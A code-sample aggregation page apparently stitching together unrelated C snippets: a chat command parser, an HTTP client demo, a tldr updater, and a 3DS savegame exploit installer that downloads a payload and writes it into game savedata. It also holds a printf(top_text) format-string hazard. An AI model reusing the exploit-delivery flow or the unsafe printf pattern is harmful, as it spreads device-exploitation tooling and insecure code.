			|| (strcmp(token, "terminate") == 0)) {
		token = strtok(NULL, s);
		if (token == NULL) {
			fprintf(stderr,
					"\nINCORRECT INPUT TYPE 'HELP' FOR MORE INFORMATION\n");
			return;
		}
		tid = atoi(token);
		fprintf(stderr, "\n TERMINATING CONNECTION ID %d\n", tid);
		terminate_con(tid);

	} else if ((strcmp(token, "EXIT") == 0) || (strcmp(token, "exit") == 0)) {

		fprintf(stderr, "\nEXITING.....\n");
		exit(1);

	}

	else if ((strcmp(token, "MYPORT") == 0) || (strcmp(token, "myport") == 0)) {

		fprintf(stderr, "\nMY PORT IS:%d\n", PORTNO);

	} else if ((strcmp(token, "LIST") == 0) || (strcmp(token, "list") == 0)) {

		display_con();

	}

	else if ((strcmp(token, "CREATOR") == 0)
			|| (strcmp(token, "creator") == 0)) {
		fprintf(stderr,
				"\nCREATOR:Pratik Gajanan Deshpande\npdeshpan\[email protected]\n");

	}

	else if ((strcmp(token, "MYIP") == 0) || (strcmp(token, "myip") == 0)) {
		myipis();
		fprintf(stderr, "\nMY IP IS:%s\n", myip);

	} else if ((strcmp(token, "HELP") == 0) || (strcmp(token, "help") == 0)) {
		help();

	} else {
		fprintf(stderr, "\nINCORRECT COMMAND PLEASE TYPE 'HELP' IF REQUIRED\n");
	}

}
Ejemplo n.º 28
0
int _tmain()
{
	http_client client;

	//*
	{
		http_url url(L"http://img.naver.net/static/www/u/2010/0611/nmms_215646753.gif");
		http_download_content download_file(url);
		http_request request(url);
		request.add_header(L"Range", L"bytes=100-");	// À̾î¹Þ±â
		client.get<http_async>(request, &download_file);

		wprintf(L"sync: %s ... ", url.build().c_str());

		download_file.wait();
		if (download_file.is_succeeded() == false)
		{
			wprintf(L"failed.\n");
		}
		else
		{
			wprintf(L"ok.\n");
		}
	}

	{
		//http_url url( L"http://dic.daum.net/search.do" );
		//http_param param;
		//param.add(L"dic", L"eng");
		//param.add(L"q", L"apple");

		http_url url(L"http://posttestserver.com/post.php");
		http_request request(url);
		//request.add_header(L"Content-Type", L"application/x-www-form-urlencoded");

		http_param param;
		param.add(L"fname", L"bbbb");
		param.add(L"lname", L"cccc");


		request.param(&param);
		http_text_content text_content;
		client.post<http_async>(request, &text_content);

		wprintf(L"sync: %s%s ... ", url.build().c_str(), param.build().c_str());

		text_content.wait();
		if (text_content.is_succeeded() == false)
		{
			wprintf(L"failed.\n");
		}
		else
		{
			wprintf(L"ok.\n");
			//wprintf( L"%s", text_content.get().c_str() );
		}
	}

	{
		http_url url(L"http://img.naver.net/static/www/u/2010/0611/nmms_215646753.gif");
		http_download_content download_file(url);
		http_request request(url);
		client.get<http_async>(request, &download_file);

		wprintf(L"async: %s ... ", url.build().c_str());

		download_file.wait();
		if (download_file.is_succeeded() == false)
		{
			wprintf(L"failed.\n");
		}
		else
		{
			wprintf(L"ok.\n");
		}
	}
	//*/

	{
		http_url url(L"http://dic.daum.net/word/view.do");
		http_request request(url);
		//request.add_header(L"Content-Type", L"application/x-www-form-urlencoded");

		http_param param;
		param.add(L"wordid", L"ekw000008211");
		param.add(L"q", L"apple");

		request.param(&param);
		http_text_content text_content;
		client.get<http_sync>(request, &text_content);

		wprintf(L"async: %s%s ... ", url.build().c_str(), param.build().c_str());

		text_content.wait();
		if (text_content.is_succeeded() == false)
		{
			wprintf(L"failed.\n");
		}
		else
		{
			wprintf(L"ok.\n");
			//wprintf(L"%s", text_content.get().c_str());
		}
	}

	return 0;
}
Ejemplo n.º 29
0
int
update_localdb(int verbose)
{
    struct stat s;
    char tmp[255];
    char outpath[255];
    char outfile[255];
    char outhome[255];
    char const* homedir;
    char* url = "https://github.com/tldr-pages/tldr/archive/master.zip";
    char* dir = "/tmp/tldrXXXXXX";
    char* file = "/master.zip";
    char* tldrdir = "/tldr-master";
    char* tldrhomedir = "/.tldr";
    int homedirlen;
    int dirlen = strlen(dir);
    int filelen = strlen(file);
    int tldrdirlen = strlen(tldrdir);
    int tldrhomedirlen = strlen(tldrhomedir);

    memcpy(outfile, dir, dirlen);
    if (!mkdtemp(outfile)) { return 1; }

    memcpy(outpath, outfile, dirlen);
    memcpy(outfile + dirlen, file, filelen);
    outfile[dirlen + filelen] = '\0';

    if (download_file(url, outfile, verbose))
    { return 1; }

    if (_unzip(outfile, outpath))
    {
        _rm(outpath);
        return 1;
    }

    memcpy(tmp, outpath, dirlen);
    memcpy(tmp + dirlen, tldrdir, tldrdirlen);
    tmp[dirlen + tldrdirlen] = '\0';

    if ((homedir = getenv("HOME")) == NULL)
    {
        homedir = getpwuid(getuid())->pw_dir;
    }

    homedirlen = strlen(homedir);
    memcpy(outhome, homedir, homedirlen);
    memcpy(outhome + homedirlen, tldrhomedir, tldrhomedirlen);
    outhome[homedirlen + tldrhomedirlen] = '\0';
    if (mkdir(outhome, 0755) > 0)
    {
        if (errno != EEXIST)
        {
            _rm(outpath);
            return 1;
        }
    }

    memcpy(outhome + homedirlen + tldrhomedirlen, tldrdir, tldrdirlen);
    outhome[homedirlen + tldrhomedirlen + tldrdirlen] = '/';
    outhome[homedirlen + tldrhomedirlen + tldrdirlen + 1] = '\0';
    if (stat(outhome, &s) == 0 && S_ISDIR(s.st_mode))
    {
        if (_rm(outhome)) { return 1; }
    }

    if (rename(tmp, outhome))
    {
        _rm(outpath);
        return 1;
    }

    if (_rm(outpath))
    { return 1; }

    update_localdate();
    return 0;
}
Ejemplo n.º 30
0
int main()
{
    gfxInitDefault();
    gfxSet3D(false);

    PrintConsole topConsole, botConsole;
    consoleInit(GFX_TOP, &topConsole);
    consoleInit(GFX_BOTTOM, &botConsole);

    consoleSelect(&topConsole);
    consoleClear();

    state_t current_state = STATE_NONE;
    state_t next_state = STATE_INITIALIZE;

    FS_ProductInfo product_info;

    char exploitname[64] = {0};
    char titlename[64] = {0};

    char versiondir[64] = {0};
    char displayversion[64] = {0};

    u32 flags_bitmask = 0;

    static char top_text[2048];
    char top_text_tmp[256];
    top_text[0] = '\0';

    int firmware_version[6] = {0};
    int firmware_selected_value = 0;

    int selected_slot = 0;
    int selected_version = 0;
    u32 selected_remaster = 0;

    AM_TitleEntry update_title;
    bool update_exists = false;
    int version_maxnum = 0;

    void* payload_buffer = NULL;
    size_t payload_size = 0;

    u64 program_id = 0;

    while(aptMainLoop())
    {
        hidScanInput();
        if(hidKeysDown() & KEY_START) break;

        // transition function
        if(next_state != current_state)
        {
            memset(top_text_tmp, 0, sizeof(top_text_tmp));

            switch(next_state)
            {
                case STATE_INITIALIZE:
                    strncat(top_text, "Initializing... You may press START at any time\nto return to menu.\n\n", sizeof(top_text) - 1);
                    break;
                case STATE_INITIAL:
                    strncat(top_text, "Welcome to sploit_installer: SALT edition!\nPlease proceed with caution, as you might lose\ndata if you don't.\n\nPress A to continue.\n\n", sizeof(top_text) - 1);
                    break;
                case STATE_SELECT_VERSION:
                    snprintf(top_text_tmp, sizeof(top_text_tmp) - 1, "Auto-detected %s version: %s\nD-Pad to select, A to continue.\n\n", titlename, displayversion);
                    break;
                case STATE_SELECT_SLOT:
                    snprintf(top_text_tmp, sizeof(top_text_tmp) - 1, "Please select the savegame slot %s will be\ninstalled to. D-Pad to select, A to continue.\n", exploitname);
                    break;
                case STATE_SELECT_FIRMWARE:
                    strncat(top_text, "Please select your console's firmware version.\nOnly select NEW 3DS if you own a New 3DS (XL).\nD-Pad to select, A to continue.\n", sizeof(top_text) - 1);
                    break;
                case STATE_DOWNLOAD_PAYLOAD:
                    snprintf(top_text, sizeof(top_text) - 1, "%s\n\n\nDownloading payload...\n", top_text);
                    break;
                case STATE_COMPRESS_PAYLOAD:
                    strncat(top_text, "Processing payload...\n", sizeof(top_text) - 1);
                    break;
                case STATE_INSTALL_PAYLOAD:
                    strncat(top_text, "Installing payload...\n\n", sizeof(top_text) - 1);
                    break;
                case STATE_INSTALLED_PAYLOAD:
                    snprintf(top_text_tmp, sizeof(top_text_tmp) - 1, "Done!\n%s was successfully installed.", exploitname);
                    break;
                case STATE_ERROR:
                    strncat(top_text, "Looks like something went wrong. :(\n", sizeof(top_text) - 1);
                    break;
                default:
                    break;
            }

            if(top_text_tmp[0]) strncat(top_text, top_text_tmp, sizeof(top_text) - 1);

            current_state = next_state;
        }

        consoleSelect(&topConsole);
        printf("\x1b[0;%dHsploit_installer: SALT edition\n\n\n", (50 - 31) / 2);
        printf(top_text);

        // state function
        switch(current_state)
        {
            case STATE_INITIALIZE:
                {
                    fsInit();

                    // get an fs:USER session as the game
                    Result ret = srvGetServiceHandleDirect(&save_session, "fs:USER");
                    if(R_SUCCEEDED(ret)) ret = FSUSER_Initialize(save_session);
                    if(R_FAILED(ret))
                    {
                        snprintf(status, sizeof(status) - 1, "Failed to get game fs:USER session.\n    Error code: %08lX", ret);
                        next_state = STATE_ERROR;
                        break;
                    }

                    ret = httpcInit(0);
                    if(R_FAILED(ret))
                    {
                        snprintf(status, sizeof(status) - 1, "Failed to initialize httpc.\n    Error code: %08lX", ret);
                        next_state = STATE_ERROR;
                        break;
                    }

                    OS_VersionBin nver_versionbin, cver_versionbin;
                    ret = osGetSystemVersionData(&nver_versionbin, &cver_versionbin);
                    if(R_FAILED(ret))
                    {
                        snprintf(status, sizeof(status) - 1, "Failed to get the system version.\n    Error code: %08lX", ret);
                        next_state = STATE_ERROR;
                        break;
                    }

                    ret = cfguInit();
                    if(R_FAILED(ret))
                    {
                        snprintf(status, sizeof(status) - 1, "Failed to initialize cfgu.\n    Error code: %08lX", ret);
                        next_state = STATE_ERROR;
                        break;
                    }

                    u8 region = 0;
                    ret = CFGU_SecureInfoGetRegion(&region);
                    if(R_FAILED(ret))
                    {
                        snprintf(status, sizeof(status) - 1, "Failed to get the system region.\n    Error code: %08lX", ret);
                        next_state = STATE_ERROR;
                        break;
                    }

                    cfguExit();

                    bool is_new3ds = false;
                    APT_CheckNew3DS(&is_new3ds);

                    firmware_version[0] = is_new3ds;
                    firmware_version[5] = region;

                    firmware_version[1] = cver_versionbin.mainver;
                    firmware_version[2] = cver_versionbin.minor;
                    firmware_version[3] = cver_versionbin.build;
                    firmware_version[4] = nver_versionbin.mainver;

                    u32 pid = 0;
                    ret = svcGetProcessId(&pid, CUR_PROCESS_HANDLE);
                    if(R_FAILED(ret))
                    {
                        snprintf(status, sizeof(status) - 1, "Failed to get the process ID for the current process.\n    Error code: %08lX", ret);
                        next_state = STATE_ERROR;
                        break;
                    }

                    ret = FSUSER_GetProductInfo(&product_info, pid);
                    selected_remaster = product_info.remasterVersion;
                    if(R_FAILED(ret))
                    {
                        snprintf(status, sizeof(status) - 1, "Failed to get the product info for the current process.\n    Error code: %08lX", ret);
                        next_state = STATE_ERROR;
                        break;
                    }

                    ret = APT_GetProgramID(&program_id);
                    if(R_FAILED(ret))
                    {
                        snprintf(status, sizeof(status) - 1, "Failed to get the program ID for the current process.\n    Error code: %08lX", ret);
                        next_state = STATE_ERROR;
                        break;
                    }

                    u64 update_program_id = 0;
                    if(((program_id >> 32) & 0xFFFF) == 0) update_program_id = program_id | 0x0000000E00000000ULL;

                    if(update_program_id)
                    {
                        ret = amInit();
                        if(R_FAILED(ret))
                        {
                            snprintf(status, sizeof(status) - 1, "Failed to initialize AM.\n    Error code: %08lX", ret);
                            next_state = STATE_ERROR;
                            break;
                        }

                        ret = AM_GetTitleInfo(1, 1, &update_program_id, &update_title);
                        amExit();

                        if(R_SUCCEEDED(ret))
                            update_exists = true;
                    }

                    ret = romfsInit();
                    if(R_FAILED(ret))
                    {
                        snprintf(status, sizeof(status) - 1, "Failed to initialize romfs for this application (romfsInit()).\n    Error code: %08lX", ret);
                        next_state = STATE_ERROR;
                        break;
                    }

                    ret = load_exploitlist_config("romfs:/exploitlist_config", &program_id, exploitname, titlename, &flags_bitmask);
                    if(ret)
                    {
                        snprintf(status, sizeof(status) - 1, "Failed to select the exploit.\n    Error code: %08lX", ret);
                        if(ret == 1) strncat(status, " Failed to\nopen the config file in romfs.", sizeof(status) - 1);
                        if(ret == 2) strncat(status, " This title is not supported.", sizeof(status) - 1);
                        next_state = STATE_ERROR;
                        break;
                    }

                    int version_index = 0;
                    u32 this_remaster = 0;
                    char this_displayversion[64] = {0};
                    while(true)
                    {
                        ret = load_exploitversion(exploitname, &program_id, version_index, &this_remaster, this_displayversion);
                        if(ret) break;

                        if(this_remaster == selected_remaster)
                        {
                            strncpy(displayversion, this_displayversion, 63);
                            selected_version = version_index;
                        }

                        version_index++;
                    }

                    if(version_index == 0)
                    {
                        snprintf(status, sizeof(status) - 1, "Failed to read remaster versions from config.");
                        next_state = STATE_ERROR;
                        break;
                    }

                    version_maxnum = version_index - 1;
                    next_state = STATE_INITIAL;
                }
                break;

            case STATE_INITIAL:
                {
                    if(hidKeysDown() & KEY_A)
                    {
                        if(version_maxnum != 0) next_state = STATE_SELECT_VERSION;
                        else if(flags_bitmask & 0x10) next_state = STATE_SELECT_FIRMWARE;
                        else next_state = STATE_SELECT_SLOT;
                    }
                }
                break;

            case STATE_SELECT_VERSION:
                {
                    if(hidKeysDown() & KEY_UP) selected_version++;
                    if(hidKeysDown() & KEY_DOWN) selected_version--;
                    if(hidKeysDown() & KEY_A)
                    {
                        if(flags_bitmask & 0x10) next_state = STATE_SELECT_FIRMWARE;
                        else next_state = STATE_SELECT_SLOT;
                    }

                    if(selected_version < 0) selected_version = 0;
                    if(selected_version > version_maxnum) selected_version = version_maxnum;

                    Result ret = load_exploitversion(exploitname, &program_id, selected_version, &selected_remaster, displayversion);
                    if(ret)
                    {
                        snprintf(status, sizeof(status) - 1, "Failed to read remaster version from config.");
                        next_state = STATE_ERROR;
                        break;
                    }

                    printf((selected_version >= version_maxnum) ? "                       \n" : "                      ^\n");
                    printf("      Selected version: %s  \n", displayversion);
                    printf((!selected_version) ? "                       \n" : "                      v\n");
                }
                break;

            case STATE_SELECT_SLOT:
                {
                    if(hidKeysDown() & KEY_UP) selected_slot++;
                    if(hidKeysDown() & KEY_DOWN) selected_slot--;
                    if(hidKeysDown() & KEY_A) next_state = STATE_SELECT_FIRMWARE;

                    if(selected_slot < 0) selected_slot = 0;
                    if(selected_slot > 2) selected_slot = 2;

                    printf((selected_slot >= 2) ? "                                             \n" : "                                            ^\n");
                    printf("                            Selected slot: %d  \n", selected_slot + 1);
                    printf((!selected_slot) ? "                                             \n" : "                                            v\n");
                }
                break;

            case STATE_SELECT_FIRMWARE:
                {
                    if(hidKeysDown() & KEY_LEFT) firmware_selected_value--;
                    if(hidKeysDown() & KEY_RIGHT) firmware_selected_value++;

                    if(firmware_selected_value < 0) firmware_selected_value = 0;
                    if(firmware_selected_value > 5) firmware_selected_value = 5;

                    if(hidKeysDown() & KEY_UP) firmware_version[firmware_selected_value]++;
                    if(hidKeysDown() & KEY_DOWN) firmware_version[firmware_selected_value]--;

                    int firmware_maxnum = 256;
                    if(firmware_selected_value == 0) firmware_maxnum = 2;
                    if(firmware_selected_value == 5) firmware_maxnum = 7;

                    if(firmware_version[firmware_selected_value] < 0) firmware_version[firmware_selected_value] = 0;
                    if(firmware_version[firmware_selected_value] >= firmware_maxnum) firmware_version[firmware_selected_value] = firmware_maxnum - 1;

                    if(hidKeysDown() & KEY_A) next_state = STATE_DOWNLOAD_PAYLOAD;

                    int offset = 26;
                    if(firmware_selected_value)
                    {
                        offset += 7;

                        for(int i = 1; i < firmware_selected_value; i++)
                        {
                            offset += 2;
                            if(firmware_version[i] >= 10) offset++;
                        }
                    }

                    printf((firmware_version[firmware_selected_value] < firmware_maxnum - 1) ? "%*s^%*s" : "%*s-%*s", offset, " ", 50 - offset - 1, " ");
                    printf("      Selected firmware: %s %d-%d-%d-%d %s  \n", firmware_version[0] ? "New3DS" : "Old3DS", firmware_version[1], firmware_version[2], firmware_version[3], firmware_version[4], regions[firmware_version[5]]);
                    printf((firmware_version[firmware_selected_value] > 0) ? "%*sv%*s" : "%*s-%*s", offset, " ", 50 - offset - 1, " ");
                }
                break;

            case STATE_DOWNLOAD_PAYLOAD:
                {
                    httpcContext context;
                    static char in_url[512];
                    static char out_url[512];

                    snprintf(in_url, sizeof(in_url) - 1, "http://smea.mtheall.com/get_payload.php?version=%s-%d-%d-%d-%d-%s",
                        firmware_version[0] ? "NEW" : "OLD", firmware_version[1], firmware_version[2], firmware_version[3], firmware_version[4], regions[firmware_version[5]]);

                    char user_agent[64];
                    snprintf(user_agent, sizeof(user_agent) - 1, "salt_sploit_installer-%s", exploitname);
                    Result ret = get_redirect(in_url, out_url, 512, user_agent);
                    if(R_FAILED(ret))
                    {
                        sprintf(status, "Failed to grab payload url\n    Error code: %08lX", ret);
                        next_state = STATE_ERROR;
                        break;
                    }

                    ret = httpcOpenContext(&context, HTTPC_METHOD_GET, out_url, 0);
                    if(R_FAILED(ret))
                    {
                        sprintf(status, "Failed to open http context\n    Error code: %08lX", ret);
                        next_state = STATE_ERROR;
                        break;
                    }

                    ret = download_file(&context, &payload_buffer, &payload_size, user_agent);
                    if(R_FAILED(ret))
                    {
                        sprintf(status, "Failed to download payload\n    Error code: %08lX", ret);
                        next_state = STATE_ERROR;
                        break;
                    }

                    if(flags_bitmask & 0x1) next_state = STATE_COMPRESS_PAYLOAD;
                    else next_state = STATE_INSTALL_PAYLOAD;
                }
                break;

            case STATE_COMPRESS_PAYLOAD:
                payload_buffer = BLZ_Code(payload_buffer, payload_size, &payload_size, BLZ_NORMAL);
                next_state = STATE_INSTALL_PAYLOAD;
                break;

            case STATE_INSTALL_PAYLOAD:
                {
                    u32 selected_remaster_version = 0;
                    Result ret = load_exploitconfig(exploitname, &program_id, selected_remaster, update_exists ? &update_title.version : NULL, &selected_remaster_version, versiondir, displayversion);
                    if(ret)
                    {
                        snprintf(status, sizeof(status) - 1, "Failed to find your version of\n%s in the config / config loading failed.\n    Error code: %08lX", titlename, ret);
                        if(ret == 1) strncat(status, " Failed to\nopen the config file in romfs.", sizeof(status) - 1);
                        if(ret == 2 || ret == 4) strncat(status, " The romfs config file is invalid.", sizeof(status) - 1);
                        if(ret == 3)
                        {
                            snprintf(status, sizeof(status) - 1, "this update-title version (v%u) of %s is not compatible with %s, sorry\n", update_title.version, titlename, exploitname);
                            next_state = STATE_ERROR;
                            break;
                        }
                        if(ret == 5)
                        {
                            snprintf(status, sizeof(status) - 1, "this remaster version (%04lX) of %s is not compatible with %s, sorry\n", selected_remaster_version, titlename, exploitname);
                            next_state = STATE_ERROR;
                            break;
                        }

                        next_state = STATE_ERROR;
                        break;
                    }

                    if(flags_bitmask & 0x8)
                    {
                        fsUseSession(save_session);
                        Result ret = FSUSER_FormatSaveData(ARCHIVE_SAVEDATA, (FS_Path){PATH_EMPTY, 1, (u8*)""}, 0x200, 10, 10, 11, 11, true);
                        fsEndUseSession();
                        if(ret)
                        {
                            sprintf(status, "Failed to format savedata.\n    Error code: %08lX", ret);
                            next_state = STATE_ERROR;
                            break;
                        }
                    }

                    if(flags_bitmask & 0x2)
                    {
                        Result ret = parsecopy_saveconfig(versiondir, firmware_version[0], selected_slot);
                        if(ret)
                        {
                            sprintf(status, "Failed to install the savefiles with romfs %s savedir.\n    Error code: %08lX", firmware_version[0] == 0?"Old3DS" : "New3DS", ret);
                            next_state = STATE_ERROR;
                            break;
                        }
                    }

                    if(flags_bitmask & 0x4)
                    {
                        Result ret = parsecopy_saveconfig(versiondir, 2, selected_slot);
                        if(ret)
                        {
                            sprintf(status, "Failed to install the savefiles with romfs %s savedir.\n    Error code: %08lX", "common", ret);
                            next_state = STATE_ERROR;
                            break;
                        }
                    }
                }

                {
                    Result ret;

                    if(payload_embed.enabled)
                    {
                        void* buffer = NULL;
                        size_t size = 0;
                        ret = read_savedata(payload_embed.path, &buffer, &size);
                        if(ret)
                        {
                            sprintf(status, "Failed to embed payload\n    Error code: %08lX", ret);
                            next_state = STATE_ERROR;
                            break;
                        }
                        if((payload_embed.offset + payload_size + sizeof(u32)) >= size)
                        {
                            sprintf(status, "Failed to embed payload (too large)\n    0x%X >= 0x%X", (payload_embed.offset + payload_size + sizeof(u32)), size);
                            next_state = STATE_ERROR;
                            break;
                        }

                        *(u32*)(buffer + payload_embed.offset) = payload_size;
                        memcpy(buffer + payload_embed.offset + sizeof(u32), payload_buffer, payload_size);
                        ret = write_savedata(payload_embed.path, buffer, size);

                        free(buffer);
                    }
                    else
                        ret = write_savedata("/payload.bin", payload_buffer, payload_size);

                    if(ret)
                    {
                        sprintf(status, "Failed to install payload\n    Error code: %08lX", ret);
                        next_state = STATE_ERROR;
                        break;
                    }

                    next_state = STATE_INSTALLED_PAYLOAD;
                }
                break;

            case STATE_INSTALLED_PAYLOAD:
                next_state = STATE_NONE;
                break;

            default: break;
        }

        consoleSelect(&botConsole);
        printf("\x1b[0;0H  Current status:\n    %s\n", status);

        gspWaitForVBlank();
    }

    if(payload_buffer) free(payload_buffer);

    romfsExit();
    httpcExit();

    svcCloseHandle(save_session);
    fsExit();

    gfxExit();
    return 0;
}